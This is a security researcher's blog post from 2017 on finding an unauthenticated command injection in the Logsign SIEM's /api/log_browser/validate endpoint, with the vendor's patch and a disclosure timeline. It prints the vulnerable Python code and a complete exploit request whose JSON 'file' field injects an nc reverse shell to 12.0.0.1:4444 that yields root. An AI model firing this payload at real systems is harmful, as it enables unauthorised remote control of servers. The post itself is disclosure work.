Unexpected Journey #3 - Visiting Another SIEM and Uncovering Pre-auth Privileged Remote Code Execution - Mehmet Ince @mdisec - Vulnerability Researcher | Building security products | Security Advisor | Amateur Muay Thai fighter Skip to content Posts CVE INDEX About Me X LinkedIn YouTube GitHub Unexpected Journey #3 – Visiting Another SIEM and Uncovering Pre-auth Privileged Remote Code Execution Mar 7, 2017 This is the third part of our article series that intended to share my real-life penetration testing experience.In this article, I will share a whole process of how we managed to find a -0day- pre-auth RCE vulnerability on another SIEM product. When performing security tests, you will have the opportunity to encounter many products. In the past, I’ve showed what we’ve done with AlienVault USM/OSSIM and ManageEngine Eventlog products during penetration test. This time, I’ve decided to do vulnerability research for widely used SIEM products before encountering them during pentest. Choosing Product Most of the big players, such a Qradar and Archsight, doesn’t allow you to get a software as a free trial without doing webinars with their sales teams. For this reason, I’ve decided to look for a companies that gives away free demo. After several minutes of googling, I’ve came across with Logsign . Then it turned out that it’s very popular SIEM solution for more than +400 companies. Beside that, having a ISO or OVA files of Logsign seems very easy. PS: If you are able to provide a demo for SIEM product that we haven’t been opportunity to test, please don’t hesitate to get in touch with me. First Glance I’ve seen following HTTP request and response when I try to browse a management interface. // Request GET /ui/modules/login/ HTTP/1.1 Host: 12.0.0.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://12.0.0.10/ Connection: close Upgrade-Insecure-Requests: 1 // Response HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Feb 2017 14:48:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1824 Connection: close Set-Cookie: PHPSESSID=ggosxciiwxknevjev321qfu46e; Path=/ Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache X-XSS-Protection: 1; mode=block <!doctype html <html lang="en" xmlns:ng="http://angularjs.org" .... // Request GET /ui/modules/login/ HTTP/1.1 Host: 12.0.0.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Referer: http://12.0.0.10/ Connection: close Upgrade-Insecure-Requests: 1 // Response HTTP/1.1 200 OK Server: nginx Date: Sun, 26 Feb 2017 14:48:09 GMT Content-Type: text/html; charset=utf-8 Content-Length: 1824 Connection: close Set-Cookie: PHPSESSID=ggosxciiwxknevjev321qfu46e; Path=/ Expires: Thu, 01 Jan 1970 00:00:01 GMT Cache-Control: no-cache X-XSS-Protection: 1; mode=block <!doctype html> <html lang="en" xmlns:ng="http://angularjs.org"> .... At first glance, it seems Logsign is built with a PHP and angularjs technologies. That was quite interesting for me. I was expecting to the see NodeJS because of most of the /ui/modules/ pattern are used with NodeJS in my experience. But then why we are seeing a PHPSESSID as a cookie name ? In order to understand actual technology, I decided to the dive into virtual machine. I rebooted it with recovery mode and then changed the password of root user in order to do ssh login. Determining High Level Entry Points We know that nginx was used by product as a reverse proxy. It always good to checkout nginx configuration file to see which path assigned which internal process. root@customer:~# cat /etc/nginx/sites-enabled/default |grep -v '#' add_header X-XSS-Protection "1; mode=block"; resolver 127.0.0.1; server { root /var/www; index index.php index.html index.htm; expires epoch; gzip on; gzip_proxied any; gzip_comp_level 9; gzip_buffers 16 8k; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; server_tokens off; error_page 494 = /404.html; error_page 403 500 502 503 504 = /error.html; server_name localhost; location / { try_files $uri $uri/ /404.html; } location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_read_timeout 900s; include fastcgi_params; fastcgi_pass_header Authorization; } location = /api { rewrite ^ /api/; } location /api { try_files $uri @api; } location = /api/radmanager { rewrite ^ /api; } location /api/radmanager { include radmanager.accesslist; try_files $uri @api_rad; } location = /api/portal/admin { rewrite ^ /api/; } location /api/portal/admin { try_files $uri @api_portal_admin_ui; } location = /api/portal { rewrite ^ /api/; } location /api/portal { try_files $uri @api_portal_guest_ui; } location /log { try_files $uri @api; } location /alarm { try_files $uri @api; } location /storebox { try_files $uri @api; } location /captive_admin { try_files $uri @api; } location /captive_moderator { try_files $uri @api; } location /ui/modules/settings { try_files $uri @ui_modules; } location /ui/modules/log { try_files $uri @ui_modules; } location /ui/modules/captive_admin { try_files $uri @ui_modules; } location /ui/modules/alarm { try_files $uri @ui_modules; } location /ui/modules/search { try_files $uri @ui_modules; } location /es/ { internal; proxy_buffering on; proxy_read_timeout 600; proxy_pass $decoded_url; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; set $decoded_url ''; rewrite_by_lua ' ngx.req.read_body() local data = ngx.req.get_body_data() local qf_path = "/tmp/" .. ngx.var.arg_id .. ".query" local url_path = "/tmp/" .. ngx.var.arg_id .. ".url" local f = io.open(url_path) local uri = f:read("*all") f:close() os.remove(url_path) local f = io.open(qf_path) local qf_body = f:read("*all") f:close() os.remove(qf_path) -- ngx.log(ngx.ERR,qf_path) ngx.var.decoded_url = uri ngx.req.set_body_data(qf_body) '; } location /captive_admin_radius/ { internal; proxy_buffering on; proxy_pass $decoded_url; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; set $decoded_url ''; rewrite_by_lua ' local url_path = "/tmp/" .. ngx.var.arg_id .. ".url" local f = io.open(url_path) local uri = f:read("*all") f:close() os.remove(url_path) -- ngx.log(ngx.ERR,url_path) ngx.var.decoded_url = uri '; } location /remote_api/ { internal; proxy_buffering on; proxy_pass $arg_remote; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Api-Token $arg_api_token; } location @api { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8000; break; } } location @api_rad { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8001; break; } } location @api_portal_guest_ui { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8003; break; } } location @api_portal_admin_ui { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8002; break; } } location @ui_modules { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/ui_modules/(.*) /$1 break; proxy_pass http://127.0.0.1:8000; break; } } } root@customer:~# cat /etc/nginx/sites-enabled/default |grep -v '#' add_header X-XSS-Protection "1; mode=block"; resolver 127.0.0.1; server { root /var/www; index index.php index.html index.htm; expires epoch; gzip on; gzip_proxied any; gzip_comp_level 9; gzip_buffers 16 8k; gzip_types text/plain text/css application/json application/x-javascript text/xml application/xml application/xml+rss text/javascript; server_tokens off; error_page 494 = /404.html; error_page 403 500 502 503 504 = /error.html; server_name localhost; location / { try_files $uri $uri/ /404.html; } location ~ \.php$ { fastcgi_split_path_info ^(.+\.php)(/.+)$; fastcgi_pass unix:/var/run/php5-fpm.sock; fastcgi_index index.php; fastcgi_read_timeout 900s; include fastcgi_params; fastcgi_pass_header Authorization; } location = /api { rewrite ^ /api/; } location /api { try_files $uri @api; } location = /api/radmanager { rewrite ^ /api; } location /api/radmanager { include radmanager.accesslist; try_files $uri @api_rad; } location = /api/portal/admin { rewrite ^ /api/; } location /api/portal/admin { try_files $uri @api_portal_admin_ui; } location = /api/portal { rewrite ^ /api/; } location /api/portal { try_files $uri @api_portal_guest_ui; } location /log { try_files $uri @api; } location /alarm { try_files $uri @api; } location /storebox { try_files $uri @api; } location /captive_admin { try_files $uri @api; } location /captive_moderator { try_files $uri @api; } location /ui/modules/settings { try_files $uri @ui_modules; } location /ui/modules/log { try_files $uri @ui_modules; } location /ui/modules/captive_admin { try_files $uri @ui_modules; } location /ui/modules/alarm { try_files $uri @ui_modules; } location /ui/modules/search { try_files $uri @ui_modules; } location /es/ { internal; proxy_buffering on; proxy_read_timeout 600; proxy_pass $decoded_url; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; set $decoded_url ''; rewrite_by_lua ' ngx.req.read_body() local data = ngx.req.get_body_data() local qf_path = "/tmp/" .. ngx.var.arg_id .. ".query" local url_path = "/tmp/" .. ngx.var.arg_id .. ".url" local f = io.open(url_path) local uri = f:read("*all") f:close() os.remove(url_path) local f = io.open(qf_path) local qf_body = f:read("*all") f:close() os.remove(qf_path) -- ngx.log(ngx.ERR,qf_path) ngx.var.decoded_url = uri ngx.req.set_body_data(qf_body) '; } location /captive_admin_radius/ { internal; proxy_buffering on; proxy_pass $decoded_url; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; set $decoded_url ''; rewrite_by_lua ' local url_path = "/tmp/" .. ngx.var.arg_id .. ".url" local f = io.open(url_path) local uri = f:read("*all") f:close() os.remove(url_path) -- ngx.log(ngx.ERR,url_path) ngx.var.decoded_url = uri '; } location /remote_api/ { internal; proxy_buffering on; proxy_pass $arg_remote; proxy_set_header Host $host; proxy_set_header X-Forwarded-For $proxy_add_x_forwarded_for; proxy_set_header X-Api-Token $arg_api_token; } location @api { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8000; break; } } location @api_rad { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8001; break; } } location @api_portal_guest_ui { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8003; break; } } location @api_portal_admin_ui { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/(.*) /$1 break; proxy_pass http://127.0.0.1:8002; break; } } location @ui_modules { proxy_set_header X-Forward-For $proxy_add_x_forwarded_for; proxy_set_header Host $http_host; proxy_set_header X-Forwarded-Proto $scheme; proxy_redirect off; if (!-f $request_filename) { rewrite /api/ui_modules/(.*) /$1 break; proxy_pass http://127.0.0.1:8000; break; } } } While reading a nginx configuration, you must spotted URLs starts with api ,which then rewrited to the /api/* , are handled by service listening on port 8000.   root@customer:~# netstat -tnlp|grep 8000 tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1738/gunicorn: mast root@customer:~# netstat -tnlp|grep 8000 tcp 0 0 127.0.0.1:8000 0.0.0.0:* LISTEN 1738/gunicorn: mast I was expecting to see php-fqm on that port. Because we’ve seen PHPSESSID as a cookie name. But gunicorn was the one who started to listening this port. That was the moment when I was %99 sure about that back-end wasn’t PHP. Most of the time, gunicorn is used for Python and Ruby based web application. I decided to search PHPSESSID in all files so I can see where the session validation is handled. root@customer:/opt# find /opt -type f|xargs grep 'PHPSESSID' // Omitting err lines. ./logsign-postprocess/scripts/export_to_pdf.js: 'name': 'PHPSESSID', ./logsign-api/session.py: self.cookie_session_id = request.cookies.get('PHPSESSID', None) ./logsign-api/session.py: decoded['sess_id'] = request.cookies.get('PHPSESSID', None) ./logsign-api/session.py: response.set_cookie('PHPSESSID', session['sess_id']) Binary file ./logsign-api/session.pyc matches root@customer:/opt# root@customer:/opt# find /opt -type f|xargs grep 'PHPSESSID' // Omitting err lines. ./logsign-postprocess/scripts/export_to_pdf.js: 'name': 'PHPSESSID', ./logsign-api/session.py: self.cookie_session_id = request.cookies.get('PHPSESSID', None) ./logsign-api/session.py: decoded['sess_id'] = request.cookies.get('PHPSESSID', None) ./logsign-api/session.py: response.set_cookie('PHPSESSID', session['sess_id']) Binary file ./logsign-api/session.pyc matches root@customer:/opt# There it is.  All requests that contains /api/ are handled by python application. Possibly we are about the see flask app. Hunting Down API Endpoints I’ve opened /opt/logsign-api/api.py file and started to looking for a flask functions. Following code is taken from that file for an instance. @flask_app.route('/index_status') @decs.json_api @decs.authenticate def index_status(): sc = container.get_object('StatusClient') return sc.index_status('data') @flask_app.route('/index_status') @decs.json_api @decs.authenticate def index_status(): sc = container.get_object('StatusClient') return sc.index_status('data') I do have a development background, especially with Python and PHP -thanks to milw0rm days-. I knew that @decs.authenticate annotation take care of session validation. Since we don’t have a valid username and password pairs, I started to searching for a functions who don’t have this annotation and luckily! found following one. @flask_app.route('/log_browser/validate', methods=['POST']) @decs.json_api @decs.audit def validate_file(): data = json.loads(request.data) if is_screen_open('validate-file'): return {'message': 'already running', 'success': False} try: os.unlink('/var/log/validate_file.log') except: pass local['screen']['-dmS']['validate-file']['sh']['-c'][ 'python /opt/logsign-cli/cli.py "validate_file --file-name ' + data.get( 'file') + '" quit 2&1 |tee /var/log/validate_file.log']() return {'message': 'success', 'success': True} @flask_app.route('/log_browser/validate', methods=['POST']) @decs.json_api @decs.audit def validate_file(): data = json.loads(request.data) if is_screen_open('validate-file'): return {'message': 'already running', 'success': False} try: os.unlink('/var/log/validate_file.log') except: pass local['screen']['-dmS']['validate-file']['sh']['-c'][ 'python /opt/logsign-cli/cli.py "validate_file --file-name ' + data.get( 'file') + '" quit 2>&1 |tee /var/log/validate_file.log']() return {'message': 'success', 'success': True} That functions is directly accessible through /api/log_browser/validate endpoint and it doesn’t require a valid session. Following steps are what validate_file() function does once it called. Request type must be POST according to the flask annotation. Content-Type must be application/json It takes HTTP Body and then performs json decoding. Thus input must be in valid json format. Checks out there is an already existing process by calling a is_screen_open function. Calls screen command of linux with a bunch of parameters. But one of the parameter that passed to the cli.py script is taken from client. That’s a Remote Command Injection vulnerability and authentication is not even required..! Triggering The Vulnerability Following HTTP request will trigger the vulnerability and then reverse connection will be created. POST /api/log_browser/validate HTTP/1.1 Host: 12.0.0.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Content-Length: 132 {"file":"logsign.raw\" quit 2&1 |mkfifo /tmp/cweve; nc 12.0.0.1 4444 0</tmp/cweve | /bin/sh /tmp/cweve 2&1; rm /tmp/cweve #"} POST /api/log_browser/validate HTTP/1.1 Host: 12.0.0.10 User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/47.0.2526.73 Safari/537.36 Accept: application/json, text/plain, */* Accept-Language: en-US,en;q=0.5 Content-Length: 132 {"file":"logsign.raw\" quit 2>&1 |mkfifo /tmp/cweve; nc 12.0.0.1 4444 0</tmp/cweve | /bin/sh >/tmp/cweve 2>&1; rm /tmp/cweve #"} Once the connection established, reverse shell will be prompted out with a root privileges. Metasploit Module is On Action We all do love metasploit, who doesn’t ? Here is the module. You can see source code at following PR. https://github.com/rapid7/metasploit-framework/pull/8086 Timeline 26 Feb 2017 12:48 GMT+1 : Started to vulnerability research 26 Feb 2017 13:12 GMT+1 : Vulnerability found 26 Feb 2017 13:44 GMT+1 : Metasploit module implemented 26 Feb 2017 15:11 GMT+1 : Details and short-term mitigation are shared with GPACT/USTA members 26 Feb 2017 22:54 GMT+1 : First contact with vendor 26 Feb 2017 23:11 GMT+1 : Conference call directly with CEO of Logsign 26 Feb 2017 23:32 GMT+1 : Details are shared with vendor 27 Feb 2017 02:20 GMT+1 : Patch released 27 Feb 2017 08:02 GMT+1 : Patch deployed to all pro customer by vendor. We decided to hold on this article for a 10 days so even free users can upgrade their system. 09 Mar 2017 09:00 GMT+1 : Second meeting with CEO of Logsign for discussing status of patch deployment. We acknowledge that patch has been deployed to all customers. Also, we learnt that Logsign got in touch with all freemium users to help them to upgrade their system. 09 Mar 2017 18:16 GMT+1 : Advisory released. I must say, this is the best response timeline I’ve ever seen for a long time. Congratulations to Logsign for taking security reports so serious.?? Leave a Reply Cancel reply Your email address will not be published. Required fields are marked * Comment * Name * Email * Website Save my name, email, and website in this browser for the next time I comment. Δ You may also enjoy… The Story of a Perfect Exploit Chain: Six Bugs That Looked Harmless Until They Became Pre-Auth RCE in a Security Appliance Jan 2026 Inside PostHog: How SSRF, a ClickHouse SQL Escaping 0day, and Default PostgreSQL Credentials Formed an RCE Chain (ZDI-25-099, ZDI-25-097, ZDI-25-096) Dec 2025 The Chessboard of Security: Insights on Product Development and Vulnerabilities from a Hacker Perspective Nov 2025 Digital Cosmos: A Journey Through the Galaxy of Vulnerabilities Oct 2025 CVE-2021-3825 | LiderAhenk 0day – All your PARDUS Clients Belongs To Me Dec 2021 Posts CVE INDEX About Me Search Search